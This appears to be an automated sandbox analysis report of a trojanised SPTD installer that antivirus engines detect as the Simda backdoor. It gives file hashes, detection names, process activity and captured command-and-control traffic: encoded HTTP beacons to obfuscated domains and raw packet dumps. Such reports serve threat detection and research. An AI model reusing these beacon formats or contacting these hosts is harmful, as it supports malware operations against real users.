Analysis Date2018-06-09 23:31:29
MD50c4bd1b9f8018040a7a898512d361078
SHA1c1a2d826594933147ff363ba92153cbab4f17deb

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: b818c4574db6f69be99fc32fa2ef9fae sha1: bbb159d7edccc11cafeb9dc35c84c6408725e906 size: 12288
Section.rdata md5: d67fbfaef3028531d29efd54b9f36ba9 sha1: 60c5a14577ba56712678988560d78cfdc51a7f1a size: 689664
Section.data md5: 23808e800af406f99a4a9072f91ab49a sha1: c2e2b7cd1f5866ac3d272ebeb507dd3d277ce51e size: 1024
Section.rsrc md5: c07d098b2c677cfbdf105c46b6e8e98e sha1: 13c63e399afa68ab548c431507bdde75120e87fc size: 6656
Timestamp2014-11-15 22:59:48
VersionLegalCopyright: Copyright (C) 2004-2012
InternalName: sptdinst.exe
FileVersion: 1.81.0.0 built by: WinDDK
CompanyName: Duplex Secure Ltd.
ProductName: SCSI Pass Through Direct
ProductVersion: 1.81.0.0
FileDescription: SCSI Pass Through Direct s1tup
OriginalFilename: sptdinst.exe
PackerBorland Delphi 3.0 (???)
PEhash8ba690c48c7d5525dda9483be1674073739ec7cd
IMPhash0f768d333513048b50f2f8b474a167cc
AV360 SafeTrojan.GenericKD.1977565
AVAd-AwareTrojan.GenericKD.1977565
AVAlwil (avast)GenMalicious-AQL [Trj]
AVArcabit (arcavir)no_virus
AVAuthentiumW32/Trojan.MUEZ-2312
AVAvira (antivir)TR/Spy.ZBot.xbbeofi
AVBullGuardTrojan.GenericKD.1977565
AVCA (E-Trust Ino)Win32/Simda.IVeNac
AVCAT (quickheal)no_virus
AVClamAVWin.Trojan.Agent-816428
AVDr. Webno_virus
AVEmsisoftTrojan.GenericKD.1977565
AVEset (nod32)Win32/Simda.B
AVFortinetW32/Simda.BPUB!tr
AVFrisk (f-prot)no_virus
AVF-SecureTrojan.GenericKD.1977565
AVGrisoft (avg)Simda.AAZ
AVIkarusBackdoor.Win32.Simda
AVK7Unwanted-Program ( 004a8e8a1 )
AVKasperskyBackdoor.Win32.Simda.aell
AVMalwareBytesTrojan.Agent.FSAVXGen
AVMcafeePacked-APIXOR!0C4BD1B9F801
AVMicrosoft Security Essentialsno_virus
AVMicroWorld (escan)Trojan.GenericKD.1977565
AVRisingno_virus
AVSophosno_virus
AVSymantecno_virus
AVTrend Microno_virus
AVVirusBlokAda (vba32)Backdoor.Simda

Runtime Details:

Screenshot

Process
↳ C:\Windows\System32\lsass.exe

Process
↳ C:\Users\Phil\AppData\Local\Temp\c1a2d826594933147ff363ba92153cbab4f17deb.exe

Network Details:

HTTP GEThttp://report.31s9e17k3ywskuo93m.com/?7i3qG31=%96%C7%D6%A5%AA%A7%5Efa%A3j%9C%93o%A0%94%DD%A8%A8%9D%DB%D4%9Dg%D2c%C7%A0%CFl%99c%D4m%AA%A7%AF%DC%E6%C7%C2%9A%A3%9C%95%B0j%96di%9CY%E5%E5%DA%A8%DA%DDf%88%C0T%D0%D8%D1t%AEf%B4wut%A2%9E%B1%A1%B6%A5owr%A4q%AAa%7D%A2t%BE%A9%B5%A2%B9%B2%7Cg%A2d%89%E1%D2%AA%A6c%A1wca%A5%96%A0%9F%A2%A4_ca%A3i%95ag%9BY%EF%B4%A3%9B%A5%9Fig%A0p%89%E1%E7t%9Ce%95
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
HTTP POSThttp://report.31s9e17k3ywskuo93m.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
HTTP GEThttp://update1.e5sfgyt0u79.com/?ys=kdfWmpmnlWRelWaqyJ%2Bu1ZSmbGuUyNOh2qXIktaaYV7IW9bV1e3mn%2BGjnqCg4tbc3orF1dmSa89%2Ft56bveSa4nB6a4ne2dndzcWxx5dknWijmZeppWfXb26Px6Cip9bJxajKZpKWl6iWl9yand6bdnOWsp23s5SatZd1X6Z5tJefvqR2rHh%2BYKWmsbizmJaqiQ%3D%3D
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre
HTTP GEThttp://report.31s9e17k3ywskuo93m.com/?1eI3141=%96%C7%D6%A5%AA%A7%5Efa%A3j%9C%93o%A0%94%DD%A8%A8%9D%DB%D4%9Dg%D2c%C7%A0%CFf%95y%96W%AB%A7%AF%DC%E6%C7%C2%9A%A3%9C%95%B0j%96di%9CY%E5%E5%DA%A8%DA%DDf%88%C0T%D0%D8%D1n%AA%7Cvavt%A2%9E%B1%A1%B6%A5owr%A4q%AAa%7D%A2t%BE%A9%B5%A2%B9%B2%7Cg%A2d%89%E1%D2%A4%A2zcada%A6%96%A0%9F%A2%A4_ca%A3i%95ag%9CY%EF%B4%A3%9B%A5%9Fig%A0p%89%E1%E7n%98%7BW
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Flows TCP192.168.1.1:1031 ➝ 79.142.66.239:80
Flows TCP192.168.1.1:1031 ➝ 79.142.66.239:80
Flows TCP192.168.1.1:1032 ➝ 5.149.248.152:80
Flows TCP192.168.1.1:1033 ➝ 5.149.248.152:80
Flows TCP192.168.1.1:1034 ➝ 79.142.66.239:80

Raw Pcap
0x00000000 (00000)   47455420 2f3f4139 33313331 3d253936   GET /?A93131=%96
0x00000010 (00016)   25434225 44312541 35254437 25413462   %CB%D1%A5%D7%A4b
0x00000020 (00032)   25414263 6f254137 25394125 39372543   %ABco%A7%9A%97%C
0x00000030 (00048)   44254134 69636e6e 25413325 39362543   D%A4icnn%A3%96%C
0x00000040 (00064)   38254433 25393425 39342539 32254338   8%D3%94%94%92%C8
0x00000050 (00080)   25413625 4131736a 25393625 39375925   %A6%A1sj%96%97Y%
0x00000060 (00096)   41382545 38254132 25453725 45352541   A8%E8%A2%E7%E5%A
0x00000070 (00112)   39253941 25413325 45322539 35742541   9%9A%A3%E2%95t%A
0x00000080 (00128)   30253934 25393825 39422541 32592539   0%94%98%9B%A2Y%9
0x00000090 (00144)   44254135 25413025 41412539 36254435   D%A5%A0%AA%96%D5
0x000000a0 (00160)   25394125 38382538 34542544 30254438   %9A%88%84T%D0%D8
0x000000b0 (00176)   2544317e 69676874 63254139 25394225   %D1~ightc%A9%9B%
0x000000c0 (00192)   41392541 31254137 25423572 25424463   A9%A1%A7%B5r%BDc
0x000000d0 (00208)   25374325 41302539 38253942 25414125   %7C%A0%98%9B%AA%
0x000000e0 (00224)   42367776 6a253746 25414662 25394225   B6wvj%7F%AFb%9B%
0x000000f0 (00240)   41366769 66253937 25393525 44462541   A6gif%97%95%DF%A
0x00000100 (00256)   36254143 70616361 25413225 39352541   6%ACpaca%A2%95%A
0x00000110 (00272)   33254130 25413225 41342535 45254139   3%A0%A2%A4%5E%A9
0x00000120 (00288)   62672539 46253933 25393525 39392541   bg%9F%93%95%99%A
0x00000130 (00304)   31636125 35442541 46254141 61253937   1ca%5D%AF%AAa%97
0x00000140 (00320)   25394463 61622539 36254231 25393325   %9Dcab%96%B1%93%
0x00000150 (00336)   42332542 33706767 55204854 54502f31   B3%B3pggU HTTP/1
0x00000160 (00352)   2e310d0a 486f7374 3a207265 706f7274   .1..Host: report
0x00000170 (00368)   2e793137 6f636569 71333137 396d3167   .y17oceiq3179m1g
0x00000180 (00384)   6d33312e 636f6d0d 0a557365 722d4167   m31.com..User-Ag
0x00000190 (00400)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x000001a0 (00416)   2028636f 6d706174 69626c65 3b204d53    (compatible; MS
0x000001b0 (00432)   49452038 2e303b20 54726964 656e742f   IE 8.0; Trident/
0x000001c0 (00448)   342e303b 202e4e45 5420434c 5220322e   4.0; .NET CLR 2.
0x000001d0 (00464)   302e3530 3732373b 202e4e45 5420434c   0.50727; .NET CL
0x000001e0 (00480)   5220312e 312e3433 32323b20 2e4e4554   R 1.1.4322; .NET
0x000001f0 (00496)   20434c52 20332e30 2e303435 30362e35    CLR 3.0.04506.5
0x00000200 (00512)   39303b20 2e4e4554 20434c52 20332e30   90; .NET CLR 3.0
0x00000210 (00528)   2e303435 30362e36 34383b20 2e4e4554   .04506.648; .NET
0x00000220 (00544)   20434c52 20332e35 2e323130 32323b20    CLR 3.5.21022; 
0x00000230 (00560)   2e4e4554 20434c52 20332e30 2e343530   .NET CLR 3.0.450
0x00000240 (00576)   362e3231 35323b20 2e4e4554 20434c52   6.2152; .NET CLR
0x00000250 (00592)   20332e35 2e333037 3239290d 0a0d0a      3.5.30729)....

0x00000000 (00000)   47455420 2f3f766b 3d6b6476 526d7361   GET /?vk=kdvRmsa
0x00000010 (00016)   6b6d5752 67714a79 666e6471 6d625757   kmWRgqJyfndqmbWW
0x00000020 (00032)   75703654 626c5a54 45307448 61703569   up6TblZTE0tHap5i
0x00000030 (00048)   54706369 59564e50 54317425 32466f34   TpciYVNPT1t%2Fo4
0x00000040 (00064)   714f6633 4f537236 5a325630 5a585231   qOf3OSr6Z2V0ZXR1
0x00000050 (00080)   7554466e 74367664 6d616b71 4e6a5634   uTFnt6vdmakqNjV4
0x00000060 (00096)   36783463 4a336832 7471686c 38657330   6x4cJ3h2tqhl8es0
0x00000070 (00112)   39616d79 5a476f6c 32526d71 4a75617a   9amyZGol2RmqJuaz
0x00000080 (00128)   366d7061 57717371 4e50586d 6f253246   6mpaWqsqNPXmo%2F
0x00000090 (00144)   4730394b 73704a61 53313874 596d396e   G09KspJaS18tYm9n
0x000000a0 (00160)   49705a75 71716e68 6c727169 6e71476c   IpZuqqnhlrqinqGl
0x000000b0 (00176)   7670374f 66757147 5a6c3757 71646e4f   vp7OfuqGZl7WqdnO
0x000000c0 (00192)   6a717171 63717178 72613625 32426d6b   jqqqcqqxra6%2Bmk
0x000000d0 (00208)   67253344 25334420 48545450 2f312e31   g%3D%3D HTTP/1.1
0x000000e0 (00224)   0d0a486f 73743a20 75706461 7465322e   ..Host: update2.
0x000000f0 (00240)   7064686b 76733733 77726e76 342e636f   pdhkvs73wrnv4.co
0x00000100 (00256)   6d0d0a55 7365722d 4167656e 743a204d   m..User-Agent: M
0x00000110 (00272)   6f7a696c 6c612f35 2e302028 57696e64   ozilla/5.0 (Wind
0x00000120 (00288)   6f777320 4e542036 2e313b20 574f5736   ows NT 6.1; WOW6
0x00000130 (00304)   343b2072 763a322e 30623870 72652920   4; rv:2.0b8pre) 
0x00000140 (00320)   4765636b 6f2f3230 31303131 31342046   Gecko/20101114 F
0x00000150 (00336)   69726566 6f782f34 2e306238 7072650d   irefox/4.0b8pre.
0x00000160 (00352)   0a436f6e 6e656374 696f6e3a 204b6565   .Connection: Kee
0x00000170 (00368)   702d416c 6976650d 0a0d0a              p-Alive....

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a486f73 743a2072 65706f72 742e7931   .Host: report.y1
0x00000020 (00032)   376f6365 69713331 37396d31 676d3331   7oceiq3179m1gm31
0x00000030 (00048)   2e636f6d 0d0a5573 65722d41 67656e74   .com..User-Agent
0x00000040 (00064)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000050 (00080)   6f6d7061 7469626c 653b204d 53494520   ompatible; MSIE 
0x00000060 (00096)   382e303b 20547269 64656e74 2f342e30   8.0; Trident/4.0
0x00000070 (00112)   3b202e4e 45542043 4c522032 2e302e35   ; .NET CLR 2.0.5
0x00000080 (00128)   30373237 3b202e4e 45542043 4c522031   0727; .NET CLR 1
0x00000090 (00144)   2e312e34 3332323b 202e4e45 5420434c   .1.4322; .NET CL
0x000000a0 (00160)   5220332e 302e3034 3530362e 3539303b   R 3.0.04506.590;
0x000000b0 (00176)   202e4e45 5420434c 5220332e 302e3034    .NET CLR 3.0.04
0x000000c0 (00192)   3530362e 3634383b 202e4e45 5420434c   506.648; .NET CL
0x000000d0 (00208)   5220332e 352e3231 3032323b 202e4e45   R 3.5.21022; .NE
0x000000e0 (00224)   5420434c 5220332e 302e3435 30362e32   T CLR 3.0.4506.2
0x000000f0 (00240)   3135323b 202e4e45 5420434c 5220332e   152; .NET CLR 3.
0x00000100 (00256)   352e3330 37323929 0d0a436f 6e74656e   5.30729)..Conten
0x00000110 (00272)   742d4c65 6e677468 3a203236 39340d0a   t-Length: 2694..
0x00000120 (00288)   436f6e74 656e742d 54797065 3a206170   Content-Type: ap
0x00000130 (00304)   706c6963 6174696f 6e2f782d 7777772d   plication/x-www-
0x00000140 (00320)   666f726d 2d75726c 656e636f 6465640d   form-urlencoded.
0x00000150 (00336)   0a0d0a35 674d3567 4d593d25 39362543   ...5gM5gMY=%96%C
0x00000160 (00352)   42254431 25413525 44372541 34622541   B%D1%A5%D7%A4b%A
0x00000170 (00368)   42636f25 41372539 41253937 25434425   Bco%A7%9A%97%CD%
0x00000180 (00384)   41346963 6e6e2541 33253936 25433825   A4icnn%A3%96%C8%
0x00000190 (00400)   44332539 34253934 25393225 43382541   D3%94%94%92%C8%A
0x000001a0 (00416)   36254131 67253938 25423025 39422538   6%A1g%98%B0%9B%8
0x000001b0 (00432)   44254246 25424125 45392541 32254533   D%BF%BA%E9%A2%E3
0x000001c0 (00448)   25444425 41352541 42652541 39616d25   %DD%A5%ABe%A9am%
0x000001d0 (00464)   41352539 41253941 25394125 44302541   A5%9A%9A%9A%D0%A
0x000001e0 (00480)   41253941 686c2539 45672539 42254134   A%9Ahl%9Eg%9B%A4
0x000001f0 (00496)   6a652535 45253935 25413725 39446c25   je%5E%95%A7%9Dl%
0x00000200 (00512)   39467e67 25394325 37442542 38254531   9F~g%9C%7D%B8%E1
0x00000210 (00528)   25443225 41362541 31254141 25413625   %D2%A6%A1%AA%A6%
0x00000220 (00544)   35452541 39616725 41302539 38253937   5E%A9ag%A0%98%97
0x00000230 (00560)   25394525 41356361 25374271 25413061   %9E%A5ca%7Bq%A0a
0x00000240 (00576)   25394225 42312538 38253946 25393925   %9B%B1%88%9F%99%
0x00000250 (00592)   44312544 45254534 25413325 43362541   D1%DE%E4%A3%C6%A
0x00000260 (00608)   436a2539 37253832 25393225 41392539   Cj%97%82%92%A9%9
0x00000270 (00624)   32254135 25413425 41332541 31622542   2%A5%A4%A3%A1b%B
0x00000280 (00640)   32626b25 41342539 43253938 25393625   2bk%A4%9C%98%96%
0x00000290 (00656)   41346367 67692543 43253930 25394125   A4cggi%CC%90%9A%
0x000002a0 (00672)   41346a61 25354525 39392541 35254134   A4ja%5E%99%A5%A4
0x000002b0 (00688)   6a253938 73254143 25444425 38412544   j%98s%AC%DD%8A%D
0x000002c0 (00704)   30254538 25394325 39362545 34254442   0%E8%9C%96%E4%DB
0x000002d0 (00720)   2544386b 25414162 6a254131 25393425   %D8k%AAbj%A1%94%
0x000002e0 (00736)   38422544 35254446 2539416e 25394325   8B%D5%DF%9An%9C%
0x000002f0 (00752)   41372539 41253836 25424125 39332541   A7%9A%86%BA%93%A
0x00000300 (00768)   30253941 25393225 41302539 46254131   0%9A%92%A0%9F%A1
0x00000310 (00784)   6c254138 2537466c 25394425 38362538   l%A8%7Fl%9D%86%8
0x00000320 (00800)   42254137 25413625 42342542 33254134   B%A7%A6%B4%B3%A4
0x00000330 (00816)   2542395f 25414567 78254234 25413725   %B9_%AEgx%B4%A7%
0x00000340 (00832)   41412539 43254237 75626b72 25413169   AA%9C%B7ubkr%A1i
0x00000350 (00848)   25394625 41315925 41332539 33254436   %9F%A1Y%A3%93%D6
0x00000360 (00864)   25414325 39446525 39372537 44652539   %AC%9De%97%7De%9
0x00000370 (00880)   417e2538 39254132 25393525 41302541   A~%89%A2%95%A0%A
0x00000380 (00896)   30254132 25413425 35452541 39616725   0%A2%A4%5E%A9ag%
0x00000390 (00912)   39462539 33253842 25444625 41456361   9F%93%8B%DF%AEca
0x000003a0 (00928)   67692539 44652539 41254146 59254133   gi%9De%9A%AFY%A3
0x000003b0 (00944)   25413825 41302541 35254131 25354225   %A8%A0%A5%A1%5B%
0x000003c0 (00960)   44392542 32254135 25443625 42462543   D9%B2%A5%D6%BF%C
0x000003d0 (00976)   44254146 25423825 44462544 35254536   D%AF%B8%DF%D5%E6
0x000003e0 (00992)   25424425 39432545 43254135 25393825   %BD%9C%EC%A5%98%
0x000003f0 (01008)   44422543 46253842 25444325 45302539   DB%CF%8B%DC%E0%9
0x00000400 (01024)   39254135 747a2544 31254130 25433925   9%A5tz%D1%A0%C9%
0x00000410 (01040)   44325377 25394125 43342545 32254435   D2Sw%9A%C4%E2%D5
0x00000420 (01056)   55254237 25423925 39362545 30254232   U%B7%B9%96%E0%B2
0x00000430 (01072)   25434225 39322539 36254131 25384625   %CB%92%96%A1%8F%
0x00000440 (01088)   42332544 37254132 25453225 41372539   B3%D7%A2%E2%A7%9
0x00000450 (01104)   43254337 706f2542 39254541 25413725   C%C7po%B9%EA%A7%
0x00000460 (01120)   39392541 36254137 25384463 25393525   99%A6%A7%8Dc%95%
0x00000470 (01136)   41345325 38312539 37254346 25444225   A4S%81%97%CF%DB%
0x00000480 (01152)   44432541 43253934 25374663 25413025   DC%AC%94%7Fc%A0%
0x00000490 (01168)   37422538 39253746 6f254231 25443325   7B%89%7Fo%B1%D3%
0x000004a0 (01184)   45312544 36253933 25393925 38332539   E1%D6%93%99%83%9
0x000004b0 (01200)   43254430 25433725 43412544 42253931   C%D0%C7%CA%DB%91
0x000004c0 (01216)   25384225 33454125 38362544 36253934   %8B%3EA%86%D6%94
0x000004d0 (01232)   25443925 44432541 36254130 25393425   %D9%DC%A6%A0%94%
0x000004e0 (01248)   44372538 46254333 25394525 44412543   D7%8F%C3%9E%DA%C
0x000004f0 (01264)   32253936 2544336d 25394325 39442539   2%96%D3m%9C%9D%9
0x00000500 (01280)   30253930 25413125 41322541 35253630   0%90%A1%A2%A5%60
0x00000510 (01296)   25393925 38332539 43254433 25434325   %99%83%9C%D3%CC%
0x00000520 (01312)   44382544 44254533 25394325 39332541   D8%DD%E3%9C%93%A
0x00000530 (01328)   43254144 25434525 39332544 33254432   C%AD%CE%93%D3%D2
0x00000540 (01344)   53592541 36253939 25413325 39365525   SY%A6%99%A3%96U%
0x00000550 (01360)   39346d66 25393825 37422538 39254130   94mf%98%7B%89%A0
0x00000560 (01376)   25394225 41312539 46254135 25413425   %9B%A1%9F%A5%A4%
0x00000570 (01392)   33422538 33253831 25423025 45332543   3B%83%81%B0%E3%C
0x00000580 (01408)   42254434 25443725 3931655f 6e672539   B%D4%D7%91e_ng%9
0x00000590 (01424)   45617477 25383025 39412539 31254435   Eatw%80%9A%91%D5
0x000005a0 (01440)   25444525 45302541 34254344 25433155   %DE%E0%A4%CD%C1U
0x000005b0 (01456)   25424425 42362543 43254537 25433625   %BD%B6%CC%E7%C6%
0x000005c0 (01472)   44432538 46254235 25394659 25393963   DC%8F%B5%9FY%99c
0x000005d0 (01488)   67254130 25393825 38352542 42254436   g%A0%98%85%BB%D6
0x000005e0 (01504)   25393725 39412541 41254144 25444625   %97%9A%AA%AD%DF%
0x000005f0 (01520)   39412543 39254532 25413725 39322539   9A%C9%E2%A7%92%9
0x00000600 (01536)   30254346 25443425 38442535 44254446   0%CF%D4%8D%5D%DF
0x00000610 (01552)   25383369 2539306d 25383625 39322539   %83i%90m%86%92%9
0x00000620 (01568)   36254134 25394425 41322541 32253630   6%A4%9D%A2%A2%60
0x00000630 (01584)   25414361 69254135 706f2538 46254531   %ACai%A5po%8F%E1
0x00000640 (01600)   25413525 41302539 41762543 38253834   %A5%A0%9Av%C8%84
0x00000650 (01616)   25453025 45302541 37253936 25394225   %E0%E0%A7%96%9B%
0x00000660 (01632)   38332542 46254446 25413425 43412542   83%BF%DF%A4%CA%B
0x00000670 (01648)   32254138 25444125 41416625 37432542   2%A8%DA%AAf%7C%B
0x00000680 (01664)   38254539 25453225 45362544 39253942   8%E9%E2%E6%D9%9B
0x00000690 (01680)   25383625 33422541 41254443 25443625   %86%3B%AA%DC%D6%
0x000006a0 (01696)   44382539 37254436 25414225 39364443   D8%97%D6%AB%96DC
0x000006b0 (01712)   25443025 41342544 39254530 2541365f   %D0%A4%D9%E0%A6_
0x000006c0 (01728)   25393325 44422544 347a2533 46254445   %93%DB%D4z%3F%DE
0x000006d0 (01744)   25423625 41332544 30254242 25433225   %B6%A3%D0%BB%C2%
0x000006e0 (01760)   45362539 33254435 25453725 44372538   E6%93%D5%E7%D7%8
0x000006f0 (01776)   31382544 43254134 25413925 45322544   18%DC%A4%A9%E2%D
0x00000700 (01792)   36253933 25434525 45392539 38253345   6%93%CE%E9%98%3E
0x00000710 (01808)   41254230 25443625 39462544 33254443   A%B0%D6%9F%D3%DC
0x00000720 (01824)   25394125 41302539 43253931 25443425   %9A%A0%9C%91%D4%
0x00000730 (01840)   45352539 41745725 41382543 43254246   E5%9AtW%A8%CC%BF
0x00000740 (01856)   25434625 44422543 38254435 25453225   %CF%DB%C8%D5%E2%
0x00000750 (01872)   41302544 39254136 25444525 33454125   A0%D9%A6%DE%3EA%
0x00000760 (01888)   44422544 36254336 25444325 45346125   DB%D6%C6%DC%E4a%
0x00000770 (01904)   39362541 46253945 7a253342 25443325   96%AF%9Ez%3B%D3%
0x00000780 (01920)   45302541 305f2539 33254442 2544347a   E0%A0_%93%DB%D4z
0x00000790 (01936)   25334625 44412543 33253938 25434625   %3F%DA%C3%98%CF%
0x000007a0 (01952)   42432543 43254536 25393325 44352545   BC%CC%E6%93%D5%E
0x000007b0 (01968)   37254437 25383138 25454325 41372539   7%D7%818%EC%A7%9
0x000007c0 (01984)   41254437 25443225 44382544 44253946   A%D7%D2%D8%DD%9F
0x000007d0 (02000)   25393825 41392539 43467725 41342544   %98%A9%9CFw%A4%D
0x000007e0 (02016)   44254430 25394225 41302541 31254437   D%D0%9B%A0%A1%D7
0x000007f0 (02032)   25394425 44322541 44254343 5a253346   %9D%D2%AD%CCZ%3F
0x00000800 (02048)   25444125 43332542 43254441 25443425   %DA%C3%BC%DA%D4%
0x00000810 (02064)   45332545 33254130 25443925 41362544   E3%E3%A0%D9%A6%D
0x00000820 (02080)   45253345 41254532 25443925 43382544   E%3EA%E2%D9%C8%D
0x00000830 (02096)   31254530 25413625 41356525 39452545   1%E0%A6%A5e%9E%E
0x00000840 (02112)   35253936 74772539 34254136 25393225   5%96tw%94%A6%92%
0x00000850 (02128)   43432544 45254431 25394325 39352542   CC%DE%D1%9C%95%B
0x00000860 (02144)   32254144 2543435a 63254535 25444225   2%AD%CCZc%E5%DB%
0x00000870 (02160)   44332544 37254531 25453725 41322541   D3%D7%E1%E7%A2%A
0x00000880 (02176)   37253936 25414625 4434706f 25444325   7%96%AF%D4po%DC%
0x00000890 (02192)   45372539 36253939 25413625 41432545   E7%96%99%A6%AC%E
0x000008a0 (02208)   315f2543 43254535 25393825 33453825   1_%CC%E5%98%3E8%
0x000008b0 (02224)   43372545 36254441 63254343 25433525   C7%E6%DAc%CC%C5%
0x000008c0 (02240)   39417457 25434325 45322544 34254446   9AtW%CC%E2%D4%DF
0x000008d0 (02256)   25444225 45352545 41253543 25444525   %DB%E5%EA%5C%DE%
0x000008e0 (02272)   41392539 43253743 6d254341 25453125   A9%9C%7Cm%CA%E1%
0x000008f0 (02288)   45312539 46254130 25413925 39452544   E1%9F%A0%A9%9E%D
0x00000900 (02304)   465f2543 43254535 25393825 33453825   F_%CC%E5%98%3E8%
0x00000910 (02320)   44372544 30254530 25413025 43462542   D7%D0%E0%A0%CF%B
0x00000920 (02336)   43254138 25444225 37422542 45254541   C%A8%DB%7B%BE%EA
0x00000930 (02352)   25434125 37447925 45352545 41253931   %CA%7Dy%E5%EA%91
0x00000940 (02368)   25453125 41302541 41254533 25393125   %E1%A0%AA%E3%91%
0x00000950 (02384)   43412545 31254436 25343025 33422541   CA%E1%D6%40%3B%A
0x00000960 (02400)   37254232 25453125 39392544 36254442   7%B2%E1%99%D6%DB
0x00000970 (02416)   2541415f 25393325 44422544 347a2533   %AA_%93%DB%D4z%3
0x00000980 (02432)   46254441 25433325 39382543 46254243   F%DA%C3%98%CF%BC
0x00000990 (02448)   25434325 45362539 33254435 25453725   %CC%E6%93%D5%E7%
0x000009a0 (02464)   44372538 31382543 43253936 25393825   D7%818%CC%96%98%
0x000009b0 (02480)   45312543 36254344 25423225 44462539   E1%C6%CD%B2%DF%9
0x000009c0 (02496)   37253936 25414625 39452544 465f2543   7%96%AF%9E%DF_%C
0x000009d0 (02512)   43254535 25393825 33453825 44412544   C%E5%98%3E8%DA%D
0x000009e0 (02528)   43254444 25413325 43432543 31254143   C%DD%A3%CC%C1%AC
0x000009f0 (02544)   25443225 37422542 45254541 25434125   %D2%7B%BE%EA%CA%
0x00000a00 (02560)   37447925 45352545 41253931 25453125   7Dy%E5%EA%91%E1%
0x00000a10 (02576)   41302541 41254533 25393125 43412545   A0%AA%E3%91%CA%E
0x00000a20 (02592)   31254436 25343025 33422541 41254139   1%D6%40%3B%AA%A9
0x00000a30 (02608)   25444425 41342544 44254430 61253936   %DD%A4%DD%D0a%96
0x00000a40 (02624)   25413625 43382537 43772541 38254444   %A6%C8%7Cw%A8%DD
0x00000a50 (02640)   25423025 39442544 36254330 25434425   %B0%9D%D6%C0%CD%
0x00000a60 (02656)   41302543 41254538 25443425 37467e25   A0%CA%E8%D4%7F~%
0x00000a70 (02672)   39452546 32254135 25394625 44452544   9E%F2%A5%9F%DE%D
0x00000a80 (02688)   31254443 25393725 44362541 42253936   1%DC%97%D6%AB%96
0x00000a90 (02704)   44432543 30253936 25433825 44462539   DC%C0%96%C8%DF%9
0x00000aa0 (02720)   36253939 7e254435                     6%99~%D5

0x00000000 (00000)   504f5354 202f3365 31363236 34372d63   POST /3e162647-c
0x00000010 (00016)   3364382d 34346333 2d393937 622d3061   3d8-44c3-997b-0a
0x00000020 (00032)   63396135 66363838 33322f20 48545450   c9a5f68832/ HTTP
0x00000030 (00048)   2f312e31 0d0a4361 6368652d 436f6e74   /1.1..Cache-Cont
0x00000040 (00064)   726f6c3a 206e6f2d 63616368 650d0a43   rol: no-cache..C
0x00000050 (00080)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000060 (00096)   0d0a5072 61676d61 3a206e6f 2d636163   ..Pragma: no-cac
0x00000070 (00112)   68650d0a 436f6e74 656e742d 54797065   he..Content-Type
0x00000080 (00128)   3a206170 706c6963 6174696f 6e2f736f   : application/so
0x00000090 (00144)   61702b78 6d6c0d0a 55736572 2d416765   ap+xml..User-Age
0x000000a0 (00160)   6e743a20 57534441 50490d0a 436f6e74   nt: WSDAPI..Cont
0x000000b0 (00176)   656e742d 4c656e67 74683a20 3733330d   ent-Length: 733.
0x000000c0 (00192)   0a486f73 743a2031 39322e31 36382e31   .Host: 192.168.1
0x000000d0 (00208)   30302e31 35303a35 3335370d 0a0d0a3c   00.150:5357....<
0x000000e0 (00224)   3f786d6c 20766572 73696f6e 3d22312e   ?xml version="1.
0x000000f0 (00240)   30222065 6e636f64 696e673d 22757466   0" encoding="utf
0x00000100 (00256)   2d38223f 3e3c736f 61703a45 6e76656c   -8"?><soap:Envel
0x00000110 (00272)   6f706520 786d6c6e 733a736f 61703d22   ope xmlns:soap="
0x00000120 (00288)   68747470 3a2f2f77 77772e77 332e6f72   http://www.w3.or
0x00000130 (00304)   672f3230 30332f30 352f736f 61702d65   g/2003/05/soap-e
0x00000140 (00320)   6e76656c 6f706522 20786d6c 6e733a77   nvelope" xmlns:w
0x00000150 (00336)   73613d22 68747470 3a2f2f73 6368656d   sa="http://schem
0x00000160 (00352)   61732e78 6d6c736f 61702e6f 72672f77   as.xmlsoap.org/w
0x00000170 (00368)   732f3230 30342f30 382f6164 64726573   s/2004/08/addres
0x00000180 (00384)   73696e67 2220786d 6c6e733a 6c6d733d   sing" xmlns:lms=
0x00000190 (00400)   22687474 703a2f2f 73636865 6d61732e   "http://schemas.
0x000001a0 (00416)   6d696372 6f736f66 742e636f 6d2f7769   microsoft.com/wi
0x000001b0 (00432)   6e646f77 732f6c6d 732f3230 30372f30   ndows/lms/2007/0
0x000001c0 (00448)   38223e3c 736f6170 3a486561 6465723e   8"><soap:Header>
0x000001d0 (00464)   3c777361 3a546f3e 75726e3a 75756964   <wsa:To>urn:uuid
0x000001e0 (00480)   3a336531 36323634 372d6333 64382d34   :3e162647-c3d8-4
0x000001f0 (00496)   3463332d 39393762 2d306163 39613566   4c3-997b-0ac9a5f
0x00000200 (00512)   36383833 323c2f77 73613a54 6f3e3c77   68832</wsa:To><w
0x00000210 (00528)   73613a41 6374696f 6e3e6874 74703a2f   sa:Action>http:/
0x00000220 (00544)   2f736368 656d6173 2e786d6c 736f6170   /schemas.xmlsoap
0x00000230 (00560)   2e6f7267 2f77732f 32303034 2f30392f   .org/ws/2004/09/
0x00000240 (00576)   7472616e 73666572 2f476574 3c2f7773   transfer/Get</ws
0x00000250 (00592)   613a4163 74696f6e 3e3c7773 613a4d65   a:Action><wsa:Me
0x00000260 (00608)   73736167 6549443e 75726e3a 75756964   ssageID>urn:uuid
0x00000270 (00624)   3a616433 35626463 392d3463 65612d34   :ad35bdc9-4cea-4
